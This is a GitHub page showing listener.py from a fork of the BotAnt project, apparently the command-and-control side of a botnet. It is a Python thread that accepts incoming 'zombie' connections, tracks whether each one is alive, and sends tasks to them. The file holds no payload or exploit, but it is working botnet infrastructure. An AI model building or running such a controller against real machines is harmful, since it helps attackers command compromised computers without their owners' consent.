forked from nazywam/BotAnt
-
Notifications
You must be signed in to change notification settings - Fork 0
/
listener.py
83 lines (54 loc) · 1.4 KB
/
listener.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import threading
from zombie import Zombie
from socket import *
class Listener(threading.Thread):
zombies = []
def __init__(self, HOST="0.0.0.0", PORT=8123):
threading.Thread.__init__(self)
self.running = True
self.HOST = HOST
self.PORT = PORT
setdefaulttimeout(1) #TODO
def addZombie(self, c, address):
for z in self.zombies:
if z.address == address and not z.active():
z.openedSocket.close()
z.openedSocket = c
return True
zombie = Zombie(c, len(self.zombies), address)
self.zombies.append(zombie)
return True
#listen for connections
def run(self):
#setup sockets
connection = socket()
connection.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
connection.bind((self.HOST, self.PORT))
while self.running:
#print("listening for zombies")
try:
connection.listen(5)
c,addr = connection.accept()
print("Connection from " + addr[0])
self.addZombie(c, addr[0])
except timeout:
pass
connection.close()
#check zombie statuses
def check(self):
result = []
for i in range(len(self.zombies)):
row = [str(i)]
row.append(self.zombies[i].name)
if(self.zombies[i].active()):
row.append("Active")
else:
row.append("Dead")
result.append(row)
return result
def sendTask(self, id, task):
return self.zombies[id].sendTask(task)
#kill the thread
def stop(self):
if self.running:
self.running = False